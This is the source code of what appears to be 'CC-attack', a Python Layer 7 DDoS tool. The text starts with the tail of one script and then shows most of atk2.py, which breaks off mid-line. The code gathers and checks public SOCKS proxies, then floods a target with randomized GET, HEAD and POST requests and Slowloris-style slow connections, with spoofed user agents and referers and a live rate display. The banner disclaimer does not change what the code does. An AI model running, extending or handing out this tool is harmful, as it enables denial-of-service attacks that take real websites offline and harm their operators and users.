| ")
591 | proxies = ""
592 | for proxy in part:
593 | proxy = proxy.split(" | ")
594 | try:
595 | proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
596 | except:
597 | pass
598 | out_file = open("socks4.txt","a")
599 | out_file.write(proxies)
600 | out_file.close()
601 | except:
602 | pass
603 | print("> Have already downloaded socks4 list as socks4.txt")
604 | if choice == "5":
605 | f = open("socks5.txt",'wb')
606 | try:
607 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all")
608 | f.write(r.content)
609 | except:
610 | pass
611 | try:
612 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks5")
613 | f.write(r.content)
614 | f.close()
615 | except:
616 | f.close()
617 | print("> Have already downloaded socks5 list as socks5.txt")
618 | else:
619 | pass
620 | if choice == "4":
621 | out_file = str(input("> Socks4 Proxy file path(socks4.txt):"))
622 | if out_file == '':
623 | out_file = str("socks4.txt")
624 | else:
625 | out_file = str(out_file)
626 | check_list(out_file)
627 | proxies = open(out_file).readlines()
628 | elif choice == "5":
629 | out_file = str(input("> Socks5 Proxy file path(socks5.txt):"))
630 | if out_file == '':
631 | out_file = str("socks5.txt")
632 | else:
633 | out_file = str(out_file)
634 | check_list(out_file)
635 | proxies = open(out_file).readlines()
636 | print ("> Number Of Socks%s Proxies: %s" %(choice,len(proxies)))
637 | time.sleep(0.03)
638 | ans = str(input("> Do u need to check the socks list?(y/n, defualt=y):"))
639 | if ans == "":
640 | ans = "y"
641 | if ans == "y":
642 | ms = str(input("> Delay of socks(seconds, default=1):"))
643 | if ms == "":
644 | ms = int(1)
645 | else :
646 | try:
647 | ms = int(ms)
648 | except :
649 | ms = float(ms)
650 | check_socks(ms)
651 | if mode == "slow":
652 | input("Press Enter to continue.")
653 | th = threading.Thread(target=slow,args=(thread_num,socks_type,))
654 | th.setDaemon(True)
655 | th.start()
656 | else:
657 | multiple = str(input("> Input the Magnification(default=100):"))
658 | if multiple == "":
659 | multiple = int(100)
660 | else:
661 | multiple = int(multiple)
662 | input("Press Enter to continue.")
663 | if mode == "post":
664 | for _ in range(thread_num):
665 | th = threading.Thread(target = post,args=(socks_type,))
666 | th.setDaemon(True)
667 | th.start()
668 | #print("Threads "+str(i+1)+" created")
669 | elif mode == "cc":
670 | for _ in range(thread_num):
671 | th = threading.Thread(target = cc,args=(socks_type,))
672 | th.setDaemon(True)
673 | th.start()
674 | #print("Threads "+str(i+1)+" created")
675 | try:
676 | while True:
677 | pass
678 | except KeyboardInterrupt:
679 | sys.exit()
680 |
681 |
682 | if __name__ == "__main__":
683 | main()#Coded by BlueSkyXN
684 |
--------------------------------------------------------------------------------
/atk2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | #Coded by BlueSkyXN
3 | #########################################
4 | # Just a little change #
5 | # -- BlueSkyXN #
6 | #########################################
7 | import requests
8 | import socket
9 | import socks
10 | import time
11 | import random
12 | import threading
13 | import sys
14 | import ssl
15 | import datetime
16 |
17 |
18 |
19 | print ('''
20 | ///// ///// /////////////
21 | CCCCC/ CCCCC/ | CC-attack |/
22 | CC/ CC/ |-----------|/
23 | CC/ CC/ | Layer 7 |/
24 | CC///// CC///// | ddos tool |/
25 | CCCCC/ CCCCC/ |___________|/
26 | >--------------------------------------------->
27 | Version 3.6 (2020/12/19)
28 | C0d3d by BlueSkyXN
29 | ┌─────────────────────────────────────────────┐
30 | │ Tos: Don't attack ANY website │
31 | ├─────────────────────────────────────────────┤
32 | │ New stuff: │
33 | │ [+] Optimization │
34 | │ [+] Changed Output │
35 | │ [+] Added Url Parser │
36 | ├─────────────────────────────────────────────┤
37 | │ Link: https://github.com/BlueSkyXN/CCATK │
38 | └─────────────────────────────────────────────┘''')
39 |
40 | acceptall = [
41 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
42 | "Accept-Encoding: gzip, deflate\r\n",
43 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n",
44 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n",
45 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",
46 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n",
47 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n",
48 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
49 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n,"
50 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n",
51 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n",
52 | "Accept: text/html, application/xhtml+xml",
53 | "Accept-Language: en-US,en;q=0.5\r\n",
54 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n",
55 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n",]
56 |
57 | referers = [
58 | "https://www.google.com/search?q=",
59 | "https://check-host.net/",
60 | "https://www.facebook.com/",
61 | "https://www.youtube.com/",
62 | "https://www.fbi.com/",
63 | "https://www.bing.com/search?q=",
64 | "https://r.search.yahoo.com/",
65 | "https://www.cia.gov/index.html",
66 | "https://vk.com/profile.php?redirect=",
67 | "https://www.usatoday.com/search/results?q=",
68 | "https://help.baidu.com/searchResult?keywords=",
69 | "https://steamcommunity.com/market/search?q=",
70 | "https://www.ted.com/search?q=",
71 | "https://play.google.com/store/search?q=",
72 | "https://www.qwant.com/search?q=",
73 | "https://soda.demo.socrata.com/resource/4tka-6guv.json?$q=",
74 | "https://www.google.ad/search?q=",
75 | "https://www.google.ae/search?q=",
76 | "https://www.google.com.af/search?q=",
77 | "https://www.google.com.ag/search?q=",
78 | "https://www.google.com.ai/search?q=",
79 | "https://www.google.al/search?q=",
80 | "https://www.google.am/search?q=",
81 | "https://www.google.co.ao/search?q=",
82 | ]
83 | ind_dict = {}
84 | data = ""
85 | cookies = ""
86 | strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890&"
87 | ###################################################
88 | Intn = random.randint
89 | Choice = random.choice
90 | ###################################################
91 | def build_threads(mode,thread_num,event,socks_type,ind_rlock):
92 | if mode == "post":
93 | for _ in range(thread_num):
94 | th = threading.Thread(target = post,args=(event,socks_type,ind_rlock,))
95 | th.setDaemon(True)
96 | th.start()
97 | elif mode == "cc":
98 | for _ in range(thread_num):
99 | th = threading.Thread(target = cc,args=(event,socks_type,ind_rlock,))
100 | th.setDaemon(True)
101 | th.start()
102 | elif mode == "head":
103 | for _ in range(thread_num):
104 | th = threading.Thread(target = head,args=(event,socks_type,ind_rlock,))
105 | th.setDaemon(True)
106 | th.start()
107 |
108 | def getuseragent():
109 | platform = Choice(['Macintosh', 'Windows', 'X11'])
110 | if platform == 'Macintosh':
111 | os = Choice(['68K', 'PPC', 'Intel Mac OS X'])
112 | elif platform == 'Windows':
113 | os = Choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win 9x 4.90', 'WindowsCE', 'Windows XP', 'Windows 7', 'Windows 8', 'Windows NT 10.0; Win64; x64'])
114 | elif platform == 'X11':
115 | os = Choice(['Linux i686', 'Linux x86_64'])
116 | browser = Choice(['chrome', 'firefox', 'ie'])
117 | if browser == 'chrome':
118 | webkit = str(Intn(500, 599))
119 | version = str(Intn(0, 99)) + '.0' + str(Intn(0, 9999)) + '.' + str(Intn(0, 999))
120 | return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, like Gecko) Chrome/' + version + ' Safari/' + webkit
121 | elif browser == 'firefox':
122 | currentYear = datetime.date.today().year
123 | year = str(Intn(2020, currentYear))
124 | month = Intn(1, 12)
125 | if month < 10:
126 | month = '0' + str(month)
127 | else:
128 | month = str(month)
129 | day = Intn(1, 30)
130 | if day < 10:
131 | day = '0' + str(day)
132 | else:
133 | day = str(day)
134 | gecko = year + month + day
135 | version = str(Intn(1, 72)) + '.0'
136 | return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
137 | elif browser == 'ie':
138 | version = str(Intn(1, 99)) + '.0'
139 | engine = str(Intn(1, 99)) + '.0'
140 | option = Choice([True, False])
141 | if option == True:
142 | token = Choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
143 | else:
144 | token = ''
145 | return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
146 |
147 | def randomurl():
148 | return str(Choice(strings)+str(Intn(0,271400281257))+Choice(strings)+str(Intn(0,271004281257))+Choice(strings) + Choice(strings)+str(Intn(0,271400281257))+Choice(strings)+str(Intn(0,271004281257))+Choice(strings))
149 |
150 | def GenReqHeader(method):
151 | global data
152 | header = ""
153 | if method == "get" or method == "head":
154 | connection = "Connection: Keep-Alive\r\n"
155 | if cookies != "":
156 | connection += "Cookies: "+str(cookies)+"\r\n"
157 | accept = Choice(acceptall)
158 | referer = "Referer: "+Choice(referers)+ target + path + "\r\n"
159 | useragent = "User-Agent: " + getuseragent() + "\r\n"
160 | header = referer + useragent + accept + connection + "\r\n"
161 | elif method == "post":
162 | post_host = "POST " + path + " HTTP/1.1\r\nHost: " + target + "\r\n"
163 | content = "Content-Type: application/x-www-form-urlencoded\r\nX-requested-with:XMLHttpRequest\r\n"
164 | refer = "Referer: http://"+ target + path + "\r\n"
165 | user_agent = "User-Agent: " + getuseragent() + "\r\n"
166 | accept = Choice(acceptall)
167 | if mode2 != "y":# You can enable customize data
168 | data = str(random._urandom(16))
169 | length = "Content-Length: "+str(len(data))+" \r\nConnection: Keep-Alive\r\n"
170 | if cookies != "":
171 | length += "Cookies: "+str(cookies)+"\r\n"
172 | header = post_host + accept + refer + content + user_agent + length + "\n" + data + "\r\n\r\n"
173 | return header
174 |
175 | def ParseUrl(original_url):
176 | global target
177 | global path
178 | global port
179 | global protocol
180 | original_url = original_url.strip()
181 | url = ""
182 | path = "/"#default value
183 | port = 80 #default value
184 | protocol = "http"
185 | #http(s)://www.example.com:1337/xxx
186 | if original_url[:7] == "http://":
187 | url = original_url[7:]
188 | elif original_url[:8] == "https://":
189 | url = original_url[8:]
190 | protocol = "https"
191 | #http(s)://www.example.com:1337/xxx ==> www.example.com:1337/xxx
192 | #print(url) #for debug
193 | tmp = url.split("/")
194 | website = tmp[0]#www.example.com:1337/xxx ==> www.example.com:1337
195 | check = website.split(":")
196 | if len(check) != 1:#detect the port
197 | port = int(check[1])
198 | else:
199 | if protocol == "https":
200 | port = 443
201 | target = check[0]
202 | if len(tmp) > 1:
203 | path = url.replace(website,"",1)#get the path www.example.com/xxx ==> /xxx
204 |
205 | def InputOption(question,options,default):
206 | ans = ""
207 | while ans == "":
208 | ans = str(input(question)).strip().lower()
209 | if ans == "":
210 | ans = default
211 | elif ans not in options:
212 | print("> Please enter the correct option")
213 | ans = ""
214 | continue
215 | return ans
216 |
217 | def CheckerOption():
218 | global proxies
219 | N = str(input("> Do you need to get socks list?(y/n,default=y):"))
220 | if N == 'y' or N == "" :
221 | downloadsocks(choice)
222 | else:
223 | pass
224 | if choice == "4":
225 | out_file = str(input("> Socks4 Proxy file path(socks4.txt):"))
226 | if out_file == '':
227 | out_file = str("socks4.txt")
228 | else:
229 | out_file = str(out_file)
230 | check_list(out_file)
231 | proxies = open(out_file).readlines()
232 | elif choice == "5":
233 | out_file = str(input("> Socks5 Proxy file path(socks5.txt):"))
234 | if out_file == '':
235 | out_file = str("socks5.txt")
236 | else:
237 | out_file = str(out_file)
238 | check_list(out_file)
239 | proxies = open(out_file).readlines()
240 | if len(proxies) == 0:
241 | print("> There are no more proxies. Please download a new one.")
242 | sys.exit(1)
243 | print ("> Number Of Socks%s Proxies: %s" %(choice,len(proxies)))
244 | time.sleep(0.03)
245 | ans = str(input("> Do u need to check the socks list?(y/n, defualt=y):"))
246 | if ans == "":
247 | ans = "y"
248 | if ans == "y":
249 | ms = str(input("> Delay of socks(seconds, default=5):"))
250 | if ms == "":
251 | ms = int(5)
252 | else :
253 | try:
254 | ms = int(ms)
255 | except :
256 | ms = float(ms)
257 | check_socks(ms)
258 |
259 | def SetupIndDict():
260 | global ind_dict
261 | for proxy in proxies:
262 | ind_dict[proxy.strip()] = 0
263 |
264 | def OutputToScreen(ind_rlock):
265 | global ind_dict
266 | i = 0
267 | sp_char = ["|","/","-","\\"]
268 | while 1:
269 | if i > 3:
270 | i = 0
271 | print("{:^70}".format("Proxies attacking status"))
272 | print("{:^70}".format("IP:PORT <-> RPS "))
273 | #1. xxx.xxx.xxx.xxx:xxxxx ==> Rps: xxxx
274 | ind_rlock.acquire()
275 | top_num = 0
276 | top10= sorted(ind_dict, key=ind_dict.get, reverse=True)
277 | if len(top10) > 10:
278 | top_num = 10
279 | else:
280 | top_num = len(top10)
281 | for num in range(top_num):
282 | top = "none"
283 | rps = 0
284 | if len(ind_dict) != 0:
285 | top = top10[num]
286 | rps = ind_dict[top]
287 | ind_dict[top] = 0
288 | print("{:^70}".format("{:2d}. {:^22s} | Rps: {:d}".format(num+1,top,rps)))
289 | total = 0
290 | for k,v in ind_dict.items():
291 | total = total + v
292 | ind_dict[k] = 0
293 | ind_rlock.release()
294 | print("{:^70}".format(" ["+sp_char[i]+"] CC attack | Total Rps:"+str(total)))
295 | i+=1
296 | time.sleep(1)
297 | print("\n"*100)
298 |
299 | def cc(event,socks_type,ind_rlock):
300 | global ind_dict
301 | header = GenReqHeader("get")
302 | proxy = Choice(proxies).strip().split(":")
303 | add = "?"
304 | if "?" in path:
305 | add = "&"
306 | event.wait()
307 | while True:
308 | try:
309 | s = socks.socksocket()
310 | if socks_type == 4:
311 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
312 | if socks_type == 5:
313 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
314 | if brute:
315 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
316 | s.connect((str(target), int(port)))
317 | if protocol == "https":
318 | ctx = ssl.SSLContext()
319 | s = ctx.wrap_socket(s,server_hostname=target)
320 | try:
321 | for n in range(multiple+1):
322 | get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
323 | request = get_host + header
324 | sent = s.send(str.encode(request))
325 | if not sent:
326 | ind_rlock.acquire()
327 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
328 | ind_rlock.release()
329 | proxy = Choice(proxies).strip().split(":")
330 | break
331 | s.close()
332 | except:
333 | s.close()
334 | ind_rlock.acquire()
335 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
336 | ind_rlock.release()
337 | except:
338 | s.close()
339 |
340 | def head(event,socks_type,ind_rlock):#HEAD MODE
341 | global ind_dict
342 | header = GenReqHeader("head")
343 | proxy = Choice(proxies).strip().split(":")
344 | add = "?"
345 | if "?" in path:
346 | add = "&"
347 | event.wait()
348 | while True:
349 | try:
350 | s = socks.socksocket()
351 | if socks_type == 4:
352 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
353 | if socks_type == 5:
354 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
355 | if brute:
356 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
357 | s.connect((str(target), int(port)))
358 | if protocol == "https":
359 | ctx = ssl.SSLContext()
360 | s = ctx.wrap_socket(s,server_hostname=target)
361 | try:
362 | for n in range(multiple+1):
363 | head_host = "HEAD " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
364 | request = head_host + header
365 | sent = s.send(str.encode(request))
366 | if not sent:
367 | ind_rlock.acquire()
368 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
369 | ind_rlock.release()
370 | proxy = Choice(proxies).strip().split(":")
371 | break# This part will jump to dirty fix
372 | s.close()
373 | except:
374 | s.close()
375 | ind_rlock.acquire()
376 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
377 | ind_rlock.release()
378 | except:#dirty fix
379 | s.close()
380 |
381 | def post(event,socks_type,ind_rlock):
382 | global ind_dict
383 | request = GenReqHeader("post")
384 | proxy = Choice(proxies).strip().split(":")
385 | event.wait()
386 | while True:
387 | try:
388 | s = socks.socksocket()
389 | if socks_type == 4:
390 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
391 | if socks_type == 5:
392 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
393 | if brute:
394 | s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
395 | s.connect((str(target), int(port)))
396 | if protocol == "https":
397 | ctx = ssl.SSLContext()
398 | s = ctx.wrap_socket(s,server_hostname=target)
399 | try:
400 | for n in range(multiple+1):
401 | sent = s.send(str.encode(request))
402 | if not sent:
403 | ind_rlock.acquire()
404 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += n
405 | ind_rlock.release()
406 | proxy = Choice(proxies).strip().split(":")
407 | break
408 | s.close()
409 | except:
410 | s.close()
411 | ind_rlock.acquire()
412 | ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
413 | ind_rlock.release()
414 | except:
415 | s.close()
416 |
417 | socket_list=[]
418 | def slow(conn,socks_type):
419 | proxy = Choice(proxies).strip().split(":")
420 | for _ in range(conn):
421 | try:
422 | s = socks.socksocket()
423 | if socks_type == 4:
424 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
425 | if socks_type == 5:
426 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
427 | s.settimeout(1)
428 | s.connect((str(target), int(port)))
429 | if str(port) == '443':
430 | ctx = ssl.SSLContext()
431 | s = ctx.wrap_socket(s,server_hostname=target)
432 | s.send("GET /?{} HTTP/1.1\r\n".format(Intn(0, 2000)).encode("utf-8"))# Slowloris format header
433 | s.send("User-Agent: {}\r\n".format(getuseragent()).encode("utf-8"))
434 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
435 | if cookies != "":
436 | s.send(("Cookies: "+str(cookies)+"\r\n").encode("utf-8"))
437 | s.send(("Connection:keep-alive").encode("utf-8"))
438 |
439 | socket_list.append(s)
440 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
441 | sys.stdout.flush()
442 | except:
443 | s.close()
444 | proxy = Choice(proxies).strip().split(":")#Only change proxy when error, increase the performance
445 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
446 | sys.stdout.flush()
447 | while True:
448 | for s in list(socket_list):
449 | try:
450 | s.send("X-a: {}\r\n".format(Intn(1, 5000)).encode("utf-8"))
451 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
452 | sys.stdout.flush()
453 | except:
454 | s.close()
455 | socket_list.remove(s)
456 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
457 | sys.stdout.flush()
458 | proxy = Choice(proxies).strip().split(":")
459 | for _ in range(conn - len(socket_list)):
460 | try:
461 | if socks_type == 4:
462 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
463 | if socks_type == 5:
464 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
465 | s.settimeout(1)
466 | s.connect((str(target), int(port)))
467 | if int(port) == 443:
468 | ctx = ssl.SSLContext()
469 | s = ctx.wrap_socket(s,server_hostname=target)
470 | s.send("GET /?{} HTTP/1.1\r\n".format(Intn(0, 2000)).encode("utf-8"))# Slowloris format header
471 | s.send("User-Agent: {}\r\n".format(getuseragent).encode("utf-8"))
472 | s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
473 | if cookies != "":
474 | s.send(("Cookies: "+str(cookies)+"\r\n").encode("utf-8"))
475 | s.send(("Connection:keep-alive").encode("utf-8"))
476 | socket_list.append(s)
477 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
478 | sys.stdout.flush()
479 | except:
480 | proxy = Choice(proxies).strip().split(":")
481 | sys.stdout.write("[*] Running Slow Attack || Connections: "+str(len(socket_list))+"\r")
482 | sys.stdout.flush()
483 | pass
484 | nums = 0
485 | def checking(lines,socks_type,ms,rlock,):#Proxy checker coded by BlueSkyXN
486 | global nums
487 | global proxies
488 | proxy = lines.strip().split(":")
489 | if len(proxy) != 2:
490 | rlock.acquire()
491 | proxies.remove(lines)
492 | rlock.release()
493 | return
494 | err = 0
495 | while True:
496 | if err >= 3:
497 | rlock.acquire()
498 | proxies.remove(lines)
499 | rlock.release()
500 | break
501 | try:
502 | s = socks.socksocket()
503 | if socks_type == 4:
504 | s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
505 | if socks_type == 5:
506 | s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
507 | s.settimeout(ms)
508 | s.connect((str(target), int(port)))
509 | if protocol == "https":
510 | ctx = ssl.SSLContext()
511 | s = ctx.wrap_socket(s,server_hostname=target)
512 | sent = s.send(str.encode("GET / HTTP/1.1\r\n\r\n"))
513 | if not sent:
514 | err += 1
515 | s.close()
516 | break
517 | except:
518 | err +=1
519 | nums += 1
520 |
521 | def check_socks(ms):#Coded by BlueSkyXN
522 | global nums
523 | thread_list=[]
524 | rlock = threading.RLock()
525 | for lines in list(proxies):
526 | if choice == "5":
527 | th = threading.Thread(target=checking,args=(lines,5,ms,rlock,))
528 | th.start()
529 | if choice == "4":
530 | th = threading.Thread(target=checking,args=(lines,4,ms,rlock,))
531 | th.start()
532 | thread_list.append(th)
533 | time.sleep(0.01)
534 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
535 | sys.stdout.flush()
536 | for th in list(thread_list):
537 | th.join()
538 | sys.stdout.write("> Checked "+str(nums)+" proxies\r")
539 | sys.stdout.flush()
540 | print("\r\n> Checked all proxies, Total Worked:"+str(len(proxies)))
541 | ans = input("> Do u want to save them in a file? (y/n, default=y)")
542 | if ans == "y" or ans == "":
543 | if choice == "4":
544 | with open("socks4.txt", 'wb') as fp:
545 | for lines in list(proxies):
546 | fp.write(bytes(lines,encoding='utf8'))
547 | fp.close()
548 | print("> They are saved in socks4.txt.")
549 | elif choice == "5":
550 | with open("socks5.txt", 'wb') as fp:
551 | for lines in list(proxies):
552 | fp.write(bytes(lines,encoding='utf8'))
553 | fp.close()
554 | print("> They are saved in socks5.txt.")
555 |
556 | def check_list(socks_file):
557 | print("> Checking list")
558 | temp = open(socks_file).readlines()
559 | temp_list = []
560 | for i in temp:
561 | if i not in temp_list:
562 | if ':' in i:
563 | temp_list.append(i)
564 | rfile = open(socks_file, "wb")
565 | for i in list(temp_list):
566 | rfile.write(bytes(i,encoding='utf-8'))
567 | rfile.close()
568 |
569 | def downloadsocks(choice):
570 | if choice == "4":
571 | f = open("socks4.txt",'wb')
572 | try:
573 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks4&country=all",timeout=5)
574 | f.write(r.content)
575 | except:
576 | pass
577 | try:
578 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks4",timeout=5)
579 | f.write(r.content)
580 | except:
581 | pass
582 | try:
583 | r = requests.get("https://www.proxyscan.io/download?type=socks4",timeout=5)
584 | f.write(r.content)
585 | except:
586 | pass
587 | try:
588 | r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt",timeout=5)
589 | f.write(r.content)
590 | f.close()
591 | except:
592 | f.close()
593 | try:#credit to All3xJ
594 | r = requests.get("https://www.socks-proxy.net/",timeout=5)
595 | part = str(r.content)
596 | part = part.split(" |